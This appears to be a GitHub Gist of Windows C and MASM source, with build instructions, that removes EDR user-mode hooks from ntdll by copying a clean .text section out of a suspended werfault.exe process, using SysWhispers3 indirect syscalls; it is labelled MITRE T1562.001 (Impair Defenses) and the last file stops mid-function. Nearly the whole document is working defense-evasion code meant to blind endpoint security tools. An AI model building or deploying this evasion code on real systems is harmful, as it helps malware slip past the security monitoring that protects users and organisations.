Last active
June 23, 2024 21:16
-
-
Save wizardy0ga/eab3db5d1df621a602409fdb25f78ca3 to your computer and use it in GitHub Desktop.
Unhooking NTDLL using an unhooked text section from a suspended process, syswhispers3 style (indirect syscalls)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Author: | |
wizardy0ga | |
Date: | |
June 2024 | |
Arch: | |
x64 | |
Tested on: | |
Windows 10 19045.4529 | |
Compiler: | |
MSVC | |
Compile Instructions: | |
ML64 /c syscalls-asm.x64.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 | |
cl.exe syscalls.c main.c | |
link.exe /OUT:UnhookNtDllWithSuspendedProcessSyscalls.exe -nologo libvcruntime.lib libcmt.lib ucrt.lib kernel32.lib /MACHINE:X64 -subsystem:console -nodefaultlib syscalls-asm.x64.obj syscalls.obj main.obj | |
Mitre: | |
Execution: | |
T1106 - Native API | |
Defense Evasion: | |
T1562.001 - Impair Defenses: Disable or Modify Tools | |
Description: | |
Unhook ntdll using a copy from a process created in a suspended state using indirect syscalls generated from syswhispers 3. | |
Note: | |
NtCreateUserProcess was a challenging syscall to implement. Capt-meelo has provided a detailed post on the topic. Thanks to | |
his research, the time it took me to implement the syscall myself was reduced. His article, github & repository supporting | |
the article have been linked below. Thanks Capt-meelo! | |
Reference: | |
https://captmeelo.com/redteam/maldev/2022/05/10/ntcreateuserprocess.html | |
https://github.com/capt-meelo | |
https://github.com/capt-meelo/NtCreateUserProcess | |
*/ | |
#include "main.h" | |
int main() { | |
UNICODE_STRING TargetProcess = { 0 }; | |
PS_ATTRIBUTE_LIST AttributeList = { 0 }; | |
PS_CREATE_INFO CreateInfo = { 0 }; | |
HANDLE hProcess = NULL, | |
hThread = NULL; | |
SIZE_T SizeOfTextSection = 0, | |
SizeOfAttrList = sizeof(PPS_ATTRIBUTE_LIST), | |
BytesRead = 0, | |
BytesWritten = 0; | |
PVOID pHookedDllBase = NULL, | |
pHookedTextSection = NULL, | |
pUnhookedTextSection = NULL; | |
WCHAR TargetProcessName[] = L"\\??\\C:\\Windows\\System32\\werfault.exe"; | |
NTSTATUS Status = 0; | |
ULONG Hash = HASH_SEED, | |
OldProtection = 0; | |
INT Char = 0; | |
WCHAR NtDll[MAX_PATH] = { 0 }; | |
PPEB pPeb = (PPEB)__readgsqword(0x60); | |
PLDR_DATA_TABLE_ENTRY pEntry = NULL; | |
PIMAGE_DOS_HEADER pHookedDos = NULL; | |
PIMAGE_NT_HEADERS pHookedNt = NULL; | |
PVOID pProcessParameters = NULL; | |
/* Get base address of hooked ntdll in this process. Hash algo is djb2. */ | |
for ( | |
pEntry = (PLDR_DATA_TABLE_ENTRY)pPeb->Ldr->InLoadOrderModuleList.Flink; | |
pEntry->DllBase != NULL; | |
pEntry = (PLDR_DATA_TABLE_ENTRY)pEntry->InLoadOrderLinks.Flink | |
) { | |
Hash = HASH_SEED; Char = 0; | |
while (Char = towlower(*(pEntry->BaseDllName.Buffer++))) { | |
Hash = ((Hash << 5) + Hash) + Char; | |
} | |
if (Hash == 0x4E015997) { | |
pHookedDllBase = pEntry->DllBase; | |
print("Found %S base address at 0x%p", pEntry->FullDllName.Buffer, pHookedDllBase); | |
break; | |
} | |
} | |
if (pHookedDllBase == NULL) { | |
fatal_error("Could not locate ntdll base address in memory."); | |
} | |
/* Get functions from ntdll */ | |
fpRtlInitUnicodeString RtlInitUnicodeString = (fpRtlInitUnicodeString)GetProcAddress((HMODULE)pHookedDllBase, "RtlInitUnicodeString"); | |
check_null(RtlInitUnicodeString, "RtlInitUnicodeString"); | |
fpRtlCreateProcessParametersEx RtlCreateProcessParametersEx = (fpRtlCreateProcessParametersEx)GetProcAddress((HMODULE)pHookedDllBase, "RtlCreateProcessParametersEx"); | |
check_null(RtlCreateProcessParametersEx, "RtlCreateProcessParametersEx"); | |
/* Get the text section address, size & size of image from hooked ntdll image loaded in this process */ | |
pHookedDos = (PIMAGE_DOS_HEADER)pHookedDllBase; | |
check_dos(pHookedDos); | |
pHookedNt = (PIMAGE_NT_HEADERS)((PBYTE)pHookedDos + pHookedDos->e_lfanew); | |
check_nt(pHookedNt); | |
SizeOfTextSection = pHookedNt->OptionalHeader.SizeOfCode; | |
pHookedTextSection = (PVOID)((ULONG_PTR)pHookedDllBase + pHookedNt->OptionalHeader.BaseOfCode); | |
print("Found hooked text section at 0x%p. Size: %lld bytes", pHookedTextSection, SizeOfTextSection); | |
/* Setup PS_CREATE_INFO structure for NtCreateUserProcess */ | |
CreateInfo.Size = sizeof(PS_CREATE_INFO); | |
CreateInfo.State = PsCreateInitialState; | |
/* Setup PS_ATTRIBUTE_LIST structure for NtCreateUserProcess */ | |
RtlInitUnicodeString(&TargetProcess, TargetProcessName); | |
AttributeList.TotalLength = sizeof(PS_ATTRIBUTE_LIST); | |
AttributeList.Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME; | |
AttributeList.Attributes[0].Size = TargetProcess.Length; | |
AttributeList.Attributes[0].u1.Value = (ULONG_PTR)TargetProcess.Buffer; | |
/* Setup RTL_USER_PROCESS_PARAMETERS structure for NtCreateUserProcess */ | |
Status = RtlCreateProcessParametersEx(&pProcessParameters, &TargetProcess, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROCESS_PARAMETERS_NORMALIZED); | |
check_syscall("RtlCreateProcessParametersEx", 0x0, Status); | |
/* Create suspended process */ | |
Status = Sw3NtCreateUserProcess( | |
&hProcess | |
, &hThread | |
, MAXIMUM_ALLOWED | |
, MAXIMUM_ALLOWED | |
, NULL | |
, NULL | |
, 0 | |
, CREATE_SUSPENDED_THREAD | |
, pProcessParameters | |
, &CreateInfo | |
, &AttributeList | |
); | |
check_syscall("NtCreateUserProcess", 0x0, Status); | |
if (CreateInfo.State != PsCreateSuccess) { | |
fatal_error("Process creation state does not indicate succes. Got value: %i", CreateInfo.State); | |
} | |
print("Created suspended %S process at pid %d", TargetProcessName, GetProcessId(hProcess)); | |
/* | |
Allocate buffer for unhooked text section & read unhooked text section from suspended process into buffer. | |
Since ntdll is loaded at the same address across processes, the pointer to our hooked text section will be | |
will point to the same unhooked text section in the suspended process. In other implementations, i would walk the | |
dos header of the unhooked dll but i wanted to try this method for code reduction & it appears to work. | |
*/ | |
Status = Sw3NtAllocateVirtualMemory((HANDLE)-1, &pUnhookedTextSection, 0, &SizeOfTextSection, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | |
check_syscall("NtAllocateVirtualMemory", 0x0, Status); | |
print("Allocated %lld byte buffer for unhooked text section at 0x%p", SizeOfTextSection, pUnhookedTextSection); | |
Status = Sw3NtReadVirtualMemory(hProcess, pHookedTextSection, pUnhookedTextSection, SizeOfTextSection, &BytesRead); | |
check_syscall("NtReadVirtualMemory", 0x0, Status); | |
print("Read %lld bytes from unhooked text section in %S to buffer at 0x%p", SizeOfTextSection, TargetProcessName, pUnhookedTextSection) | |
/* Read unhooked text section buffer into hooked text section of ntdll module. */ | |
Status = Sw3NtProtectVirtualMemory((HANDLE)-1, &pHookedTextSection, &SizeOfTextSection, PAGE_EXECUTE_WRITECOPY, &OldProtection); | |
check_syscall("NtProtectVirtualMemory [WCX]", 0x0, Status); | |
Status = Sw3NtWriteVirtualMemory((HANDLE)-1, pHookedTextSection, pUnhookedTextSection, SizeOfTextSection, &BytesWritten); | |
check_syscall("NtWriteVirtualMemory", 0x0, Status); | |
print("Wrote unhooked text section (0x%p) into hooked text section (0x%p). Size: %lld", pUnhookedTextSection, pHookedTextSection, SizeOfTextSection); | |
Status = Sw3NtProtectVirtualMemory((HANDLE)-1, &pHookedTextSection, &SizeOfTextSection, OldProtection, &OldProtection); | |
check_syscall("NtProtectVirtualMemory [return]", 0x0, Status); | |
/* Cleanup stuff */ | |
printf("[+] Succesfully removed hooks! Press enter to cleanup."); getchar(); | |
Status = Sw3NtTerminateProcess(hProcess, 0); | |
check_syscall("NtProtectVirtualMemory", 0x0, Status); | |
print("Terminated %S", TargetProcessName); | |
SizeOfTextSection = 0; | |
Status = Sw3NtFreeVirtualMemory((HANDLE)-1, &pUnhookedTextSection, &SizeOfTextSection, MEM_RELEASE); | |
check_syscall("NtFreeVirtualMemory", 0x0, Status); | |
print("Released %lld bytes from process memory", SizeOfTextSection); | |
return 0; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Author: | |
wizardy0ga | |
Date: | |
June 2024 | |
Reference: | |
https://captmeelo.com/redteam/maldev/2022/05/10/ntcreateuserprocess.html | |
https://github.com/capt-meelo/NtCreateUserProcess | |
https://ntdoc.m417z.com/ | |
*/ | |
#pragma once | |
#include "syscalls.h" | |
#include "stdio.h" | |
#define RTL_USER_PROCESS_PARAMETERS_NORMALIZED 0x01 | |
#define PS_ATTRIBUTE_NUMBER_MASK 0x0000ffff | |
#define PS_ATTRIBUTE_THREAD 0x00010000 | |
#define PS_ATTRIBUTE_INPUT 0x00020000 | |
#define PS_ATTRIBUTE_ADDITIVE 0x00040000 | |
/* This isn't from any official header files. It's a macro i created for readability. */ | |
#define CREATE_SUSPENDED_THREAD 0x01 | |
#define PsAttributeValue(Number, Thread, Input, Additive) \ | |
(((Number) & PS_ATTRIBUTE_NUMBER_MASK) | \ | |
((Thread) ? PS_ATTRIBUTE_THREAD : 0) | \ | |
((Input) ? PS_ATTRIBUTE_INPUT : 0) | \ | |
((Additive) ? PS_ATTRIBUTE_ADDITIVE : 0)) | |
#define PS_ATTRIBUTE_IMAGE_NAME PsAttributeValue(PsAttributeImageName, FALSE, TRUE, FALSE) | |
/* Error handling */ | |
#define print(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__); | |
#define fatal_error(msg, ...) printf("[!] " msg "\n", ##__VA_ARGS__); return -1 | |
#define nt_fatal_error(api, status) printf("[!] %s failed with error: 0x%0.8X\n", api, status); return -1 | |
/* Syscall & pe parsing */ | |
#define check_syscall(api, code, status) if (status != code) { nt_fatal_error(api, status); } | |
#define check_dos(dos_header) if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) { fatal_error("DOS header signature mismatch."); } | |
#define check_nt(nt_header) if (nt_header->Signature != IMAGE_NT_SIGNATURE) { fatal_error("NT header signature mismatch."); } | |
/* misc */ | |
#define check_null(object, name) if (object == NULL) { printf("[!] " name " is a null value. Quitting.\n"); return -1; } | |
#define HASH_SEED 8559 | |
typedef struct _PEB_LDR_DATA | |
{ | |
ULONG Length; | |
BOOLEAN Initialized; | |
HANDLE SsHandle; | |
LIST_ENTRY InLoadOrderModuleList; | |
} PEB_LDR_DATA, * PPEB_LDR_DATA; | |
typedef enum _PS_ATTRIBUTE_NUM | |
{ | |
PsAttributeParentProcess, // in HANDLE | |
PsAttributeDebugObject, // in HANDLE | |
PsAttributeToken, // in HANDLE | |
PsAttributeClientId, // out PCLIENT_ID | |
PsAttributeTebAddress, // out PTEB * | |
PsAttributeImageName, // in PWSTR | |
PsAttributeImageInfo, // out PSECTION_IMAGE_INFORMATION | |
PsAttributeMemoryReserve, // in PPS_MEMORY_RESERVE | |
PsAttributePriorityClass, // in UCHAR | |
PsAttributeErrorMode, // in ULONG | |
PsAttributeStdHandleInfo, // 10, in PPS_STD_HANDLE_INFO | |
PsAttributeHandleList, // in HANDLE[] | |
PsAttributeGroupAffinity, // in PGROUP_AFFINITY | |
PsAttributePreferredNode, // in PUSHORT | |
PsAttributeIdealProcessor, // in PPROCESSOR_NUMBER | |
PsAttributeUmsThread, // ? in PUMS_CREATE_THREAD_ATTRIBUTES | |
PsAttributeMitigationOptions, // in PPS_MITIGATION_OPTIONS_MAP (PROCESS_CREATION_MITIGATION_POLICY_*) // since WIN8 | |
PsAttributeProtectionLevel, // in PS_PROTECTION // since WINBLUE | |
PsAttributeSecureProcess, // in PPS_TRUSTLET_CREATE_ATTRIBUTES, since THRESHOLD | |
PsAttributeJobList, // in HANDLE[] | |
PsAttributeChildProcessPolicy, // 20, in PULONG (PROCESS_CREATION_CHILD_PROCESS_*) // since THRESHOLD2 | |
PsAttributeAllApplicationPackagesPolicy, // in PULONG (PROCESS_CREATION_ALL_APPLICATION_PACKAGES_*) // since REDSTONE | |
PsAttributeWin32kFilter, // in PWIN32K_SYSCALL_FILTER | |
PsAttributeSafeOpenPromptOriginClaim, // in SE_SAFE_OPEN_PROMPT_RESULTS | |
PsAttributeBnoIsolation, // in PPS_BNO_ISOLATION_PARAMETERS // since REDSTONE2 | |
PsAttributeDesktopAppPolicy, // in PULONG (PROCESS_CREATION_DESKTOP_APP_*) | |
PsAttributeChpe, // in BOOLEAN // since REDSTONE3 | |
PsAttributeMitigationAuditOptions, // in PPS_MITIGATION_AUDIT_OPTIONS_MAP (PROCESS_CREATION_MITIGATION_AUDIT_POLICY_*) // since 21H1 | |
PsAttributeMachineType, // in USHORT // since 21H2 | |
PsAttributeComponentFilter, | |
PsAttributeEnableOptionalXStateFeatures, // since WIN11 | |
PsAttributeSupportedMachines, // since 24H2 | |
PsAttributeSveVectorLength, | |
PsAttributeMax | |
} PS_ATTRIBUTE_NUM; | |
typedef BOOLEAN(NTAPI* PLDR_INIT_ROUTINE)( | |
_In_ PVOID DllHandle, | |
_In_ ULONG Reason, | |
_In_opt_ PVOID Context | |
); | |
typedef struct _LDR_DATA_TABLE_ENTRY { | |
LIST_ENTRY InLoadOrderLinks; | |
LIST_ENTRY InMemoryOrderLinks; | |
LIST_ENTRY InInitializationOrderLinks; | |
PVOID DllBase; | |
PLDR_INIT_ROUTINE EntryPoint; | |
ULONG SizeOfImage; | |
UNICODE_STRING FullDllName; | |
UNICODE_STRING BaseDllName; | |
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; | |
typedef struct _PEB | |
{ | |
BYTE Reserved1[2]; | |
BYTE BeingDebugged; | |
BYTE Reserved2[1]; | |
PVOID Reserved3[2]; | |
PPEB_LDR_DATA Ldr; | |
} PEB, * PPEB; | |
typedef void (NTAPI* fpRtlInitUnicodeString) ( | |
PUNICODE_STRING DestinationString, | |
PCWSTR SourceString | |
); | |
typedef NTSTATUS(NTAPI* fpRtlCreateProcessParametersEx) ( | |
PVOID* pProcessParameters, | |
PUNICODE_STRING ImagePathName, | |
PUNICODE_STRING DllPath, | |
PUNICODE_STRING CurrentDirectory, | |
PUNICODE_STRING CommandLine, | |
PVOID Environment, | |
PUNICODE_STRING WindowTitle, | |
PUNICODE_STRING DesktopInfo, | |
PUNICODE_STRING ShellInfo, | |
PUNICODE_STRING RuntimeData, | |
ULONG Flags | |
); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
COMMENT @ | |
This x64 masm assembly was generated with syswhispers 3. | |
Reference: | |
https://github.com/klezVirus/SysWhispers3 | |
@ | |
.code | |
EXTERN SW3_GetSyscallNumber: PROC | |
EXTERN SW3_GetSyscallAddress: PROC | |
Sw3NtCreateUserProcess PROC | |
mov [rsp +8], rcx ; Save registers. | |
mov [rsp+16], rdx | |
mov [rsp+24], r8 | |
mov [rsp+32], r9 | |
sub rsp, 28h | |
mov ecx, 06C3266AFh ; Load function hash into ECX. | |
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. | |
mov r11, rax ; Save the address of the syscall | |
mov ecx, 06C3266AFh ; Re-Load function hash into ECX (optional). | |
call SW3_GetSyscallNumber ; Resolve function hash into syscall number. | |
add rsp, 28h | |
mov rcx, [rsp+8] ; Restore registers. | |
mov rdx, [rsp+16] | |
mov r8, [rsp+24] | |
mov r9, [rsp+32] | |
mov r10, rcx | |
jmp r11 ; Jump to -> Invoke system call. | |
Sw3NtCreateUserProcess ENDP | |
Sw3NtReadVirtualMemory PROC | |
mov [rsp +8], rcx ; Save registers. | |
mov [rsp+16], rdx | |
mov [rsp+24], r8 | |
mov [rsp+32], r9 | |
sub rsp, 28h | |
mov ecx, 009803B2Bh ; Load function hash into ECX. | |
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. | |
mov r11, rax ; Save the address of the syscall | |
mov ecx, 009803B2Bh ; Re-Load function hash into ECX (optional). | |
call SW3_GetSyscallNumber ; Resolve function hash into syscall number. | |
add rsp, 28h | |
mov rcx, [rsp+8] ; Restore registers. | |
mov rdx, [rsp+16] | |
mov r8, [rsp+24] | |
mov r9, [rsp+32] | |
mov r10, rcx | |
jmp r11 ; Jump to -> Invoke system call. | |
Sw3NtReadVirtualMemory ENDP | |
Sw3NtWriteVirtualMemory PROC | |
mov [rsp +8], rcx ; Save registers. | |
mov [rsp+16], rdx | |
mov [rsp+24], r8 | |
mov [rsp+32], r9 | |
sub rsp, 28h | |
mov ecx, 00D9D371Fh ; Load function hash into ECX. | |
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. | |
mov r11, rax ; Save the address of the syscall | |
mov ecx, 00D9D371Fh ; Re-Load function hash into ECX (optional). | |
call SW3_GetSyscallNumber ; Resolve function hash into syscall number. | |
add rsp, 28h | |
mov rcx, [rsp+8] ; Restore registers. | |
mov rdx, [rsp+16] | |
mov r8, [rsp+24] | |
mov r9, [rsp+32] | |
mov r10, rcx | |
jmp r11 ; Jump to -> Invoke system call. | |
Sw3NtWriteVirtualMemory ENDP | |
Sw3NtAllocateVirtualMemory PROC | |
mov [rsp +8], rcx ; Save registers. | |
mov [rsp+16], rdx | |
mov [rsp+24], r8 | |
mov [rsp+32], r9 | |
sub rsp, 28h | |
mov ecx, 0F994C93Dh ; Load function hash into ECX. | |
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. | |
mov r11, rax ; Save the address of the syscall | |
mov ecx, 0F994C93Dh ; Re-Load function hash into ECX (optional). | |
call SW3_GetSyscallNumber ; Resolve function hash into syscall number. | |
add rsp, 28h | |
mov rcx, [rsp+8] ; Restore registers. | |
mov rdx, [rsp+16] | |
mov r8, [rsp+24] | |
mov r9, [rsp+32] | |
mov r10, rcx | |
jmp r11 ; Jump to -> Invoke system call. | |
Sw3NtAllocateVirtualMemory ENDP | |
Sw3NtProtectVirtualMemory PROC | |
mov [rsp +8], rcx ; Save registers. | |
mov [rsp+16], rdx | |
mov [rsp+24], r8 | |
mov [rsp+32], r9 | |
sub rsp, 28h | |
mov ecx, 05FD64F5Fh ; Load function hash into ECX. | |
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. | |
mov r11, rax ; Save the address of the syscall | |
mov ecx, 05FD64F5Fh ; Re-Load function hash into ECX (optional). | |
call SW3_GetSyscallNumber ; Resolve function hash into syscall number. | |
add rsp, 28h | |
mov rcx, [rsp+8] ; Restore registers. | |
mov rdx, [rsp+16] | |
mov r8, [rsp+24] | |
mov r9, [rsp+32] | |
mov r10, rcx | |
jmp r11 ; Jump to -> Invoke system call. | |
Sw3NtProtectVirtualMemory ENDP | |
Sw3NtTerminateProcess PROC | |
mov [rsp +8], rcx ; Save registers. | |
mov [rsp+16], rdx | |
mov [rsp+24], r8 | |
mov [rsp+32], r9 | |
sub rsp, 28h | |
mov ecx, 07FDE588Eh ; Load function hash into ECX. | |
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. | |
mov r11, rax ; Save the address of the syscall | |
mov ecx, 07FDE588Eh ; Re-Load function hash into ECX (optional). | |
call SW3_GetSyscallNumber ; Resolve function hash into syscall number. | |
add rsp, 28h | |
mov rcx, [rsp+8] ; Restore registers. | |
mov rdx, [rsp+16] | |
mov r8, [rsp+24] | |
mov r9, [rsp+32] | |
mov r10, rcx | |
jmp r11 ; Jump to -> Invoke system call. | |
Sw3NtTerminateProcess ENDP | |
Sw3NtFreeVirtualMemory PROC | |
mov [rsp +8], rcx ; Save registers. | |
mov [rsp+16], rdx | |
mov [rsp+24], r8 | |
mov [rsp+32], r9 | |
sub rsp, 28h | |
mov ecx, 003B7013Dh ; Load function hash into ECX. | |
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. | |
mov r11, rax ; Save the address of the syscall | |
mov ecx, 003B7013Dh ; Re-Load function hash into ECX (optional). | |
call SW3_GetSyscallNumber ; Resolve function hash into syscall number. | |
add rsp, 28h | |
mov rcx, [rsp+8] ; Restore registers. | |
mov rdx, [rsp+16] | |
mov r8, [rsp+24] | |
mov r9, [rsp+32] | |
mov r10, rcx | |
jmp r11 ; Jump to -> Invoke system call. | |
Sw3NtFreeVirtualMemory ENDP | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Source file was generated with syswhispers3. | |
Reference: | |
https://github.com/klezVirus/SysWhispers3 | |
https://captmeelo.com/redteam/maldev/2022/05/10/ntcreateuserprocess.html | |
*/ | |
#include "syscalls.h" | |
#include <stdio.h> | |
//#define DEBUG | |
#define JUMPER | |
#ifdef _M_IX86 | |
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) { | |
return (PVOID)__readfsdword(0xC0); | |
} | |
__declspec(naked) BOOL local_is_wow64(void) | |
{ | |
__asm { | |
mov eax, fs:[0xc0] | |
test eax, eax | |
jne wow64 | |
mov eax, 0 | |
ret | |
wow64: | |
mov eax, 1 | |
ret | |
} | |
} | |
#endif | |
// Code below is adapted from @modexpblog. Read linked article for more details. | |
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams | |
SW3_SYSCALL_LIST SW3_SyscallList; | |
// SEARCH_AND_REPLACE | |
#ifdef SEARCH_AND_REPLACE | |
// THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release | |
EXTERN void SearchAndReplace(unsigned char[], unsigned char[]); | |
#endif | |
DWORD SW3_HashSyscall(PCSTR FunctionName) | |
{ | |
DWORD i = 0; | |
DWORD Hash = SW3_SEED; | |
while (FunctionName[i]) | |
{ | |
WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++); | |
Hash ^= PartialName + SW3_ROR8(Hash); | |
} | |
return Hash; | |
} | |
#ifndef JUMPER | |
PVOID SC_Address(PVOID NtApiAddress) | |
{ | |
return NULL; | |
} | |
#else | |
PVOID SC_Address(PVOID NtApiAddress) | |
{ | |
DWORD searchLimit = 512; | |
PVOID SyscallAddress; | |
#ifdef _WIN64 | |
// If the process is 64-bit on a 64-bit OS, we need to search for syscall | |
BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 }; | |
ULONG distance_to_syscall = 0x12; | |
#else | |
// If the process is 32-bit on a 32-bit OS, we need to search for sysenter | |
BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 }; | |
ULONG distance_to_syscall = 0x0f; | |
#endif | |
#ifdef _M_IX86 | |
// If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved | |
if (local_is_wow64()) | |
{ | |
#ifdef DEBUG | |
printf("[+] Running 32-bit app on x64 (WOW64)\n"); | |
#endif | |
return NULL; | |
} | |
#endif | |
// we don't really care if there is a 'jmp' between | |
// NtApiAddress and the 'syscall; ret' instructions | |
SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall); | |
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) | |
{ | |
// we can use the original code for this system call :) | |
#if defined(DEBUG) | |
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); | |
#endif | |
return SyscallAddress; | |
} | |
// the 'syscall; ret' intructions have not been found, | |
// we will try to use one near it, similarly to HalosGate | |
for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++) | |
{ | |
// let's try with an Nt* API below our syscall | |
SyscallAddress = SW3_RVA2VA( | |
PVOID, | |
NtApiAddress, | |
distance_to_syscall + num_jumps * 0x20); | |
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) | |
{ | |
#if defined(DEBUG) | |
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); | |
#endif | |
return SyscallAddress; | |
} | |
// let's try with an Nt* API above our syscall | |
SyscallAddress = SW3_RVA2VA( | |
PVOID, | |
NtApiAddress, | |
distance_to_syscall - num_jumps * 0x20); | |
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) | |
{ | |
#if defined(DEBUG) | |
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); | |
#endif | |
return SyscallAddress; | |
} | |
} | |
#ifdef DEBUG | |
printf("Syscall Opcodes not found!\n"); | |
#endif | |
return NULL; | |
} | |
#endif | |
BOOL SW3_PopulateSyscallList() | |
{ | |
// Return early if the list is already populated. | |
if (SW3_SyscallList.Count) return TRUE; | |
#ifdef _WIN64 | |
PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60); | |
#else | |
PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30); | |
#endif | |
PSW3_PEB_LDR_DATA Ldr = Peb->Ldr; | |
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; | |
PVOID DllBase = NULL; | |
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second | |
// in the list, so it's safer to loop through the full list and find it. | |
PSW3_LDR_DATA_TABLE_ENTRY LdrEntry; | |
for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) | |
{ | |
DllBase = LdrEntry->DllBase; | |
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase; | |
PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew); | |
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; | |
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; | |
if (VirtualAddress == 0) continue; | |
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress); | |
// If this is NTDLL.dll, exit loop. | |
PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name); | |
if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue; | |
if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break; | |
} | |
if (!ExportDirectory) return FALSE; | |
DWORD NumberOfNames = ExportDirectory->NumberOfNames; | |
PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions); | |
PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames); | |
PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals); | |
// Populate SW3_SyscallList with unsorted Zw* entries. | |
DWORD i = 0; | |
PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries; | |
do | |
{ | |
PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]); | |
// Is this a system call? | |
if (*(USHORT*)FunctionName == 0x775a) | |
{ | |
Entries[i].Hash = SW3_HashSyscall(FunctionName); | |
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]]; | |
Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address)); | |
i++; | |
if (i == SW3_MAX_ENTRIES) break; | |
} | |
} while (--NumberOfNames); | |
// Save total number of system calls found. | |
SW3_SyscallList.Count = i; | |
// Sort the list by address in ascending order. | |
for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++) | |
{ | |
for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++) | |
{ | |
if (Entries[j].Address > Entries[j + 1].Address) | |
{ | |
// Swap entries. | |
SW3_SYSCALL_ENTRY TempEntry; | |
TempEntry.Hash = Entries[j].Hash; | |
TempEntry.Address = Entries[j].Address; | |
TempEntry.SyscallAddress = Entries[j].SyscallAddress; | |
Entries[j].Hash = Entries[j + 1].Hash; | |
Entries[j].Address = Entries[j + 1].Address; | |
Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress; | |
Entries[j + 1].Hash = TempEntry.Hash; | |
Entries[j + 1].Address = TempEntry.Address; | |
Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress; | |
} | |
} | |
} | |
return TRUE; | |
} | |
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash) | |
{ | |
// Ensure SW3_SyscallList is populated. | |
if (!SW3_PopulateSyscallList()) return -1; | |
for (DWORD i = 0; i < SW3_SyscallList.Count; i++) | |
{ | |
if (FunctionHash == SW3_SyscallList.Entries[i].Hash) | |
{ | |
return i; | |
} | |
} | |
return -1; | |
} | |
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash) | |
{ | |
// Ensure SW3_SyscallList is populated. | |
if (!SW3_PopulateSyscallList()) return NULL; | |
for (DWORD i = 0; i < SW3_SyscallList.Count; i++) | |
{ | |
if (FunctionHash == SW3_SyscallList.Entries[i].Hash) | |
{ | |
return SW3_SyscallList.Entries[i].SyscallAddress; | |
} | |
} | |
return NULL; | |
} | |
EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash) | |
{ | |
// Ensure SW3_SyscallList is populated. | |
if (!SW3_PopulateSyscallList()) return NULL; | |
DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count; | |
while (FunctionHash == SW3_SyscallList.Entries[index].Hash){ | |
// Spoofing the syscall return address | |
index = ((DWORD) rand()) % SW3_SyscallList.Count; | |
} | |
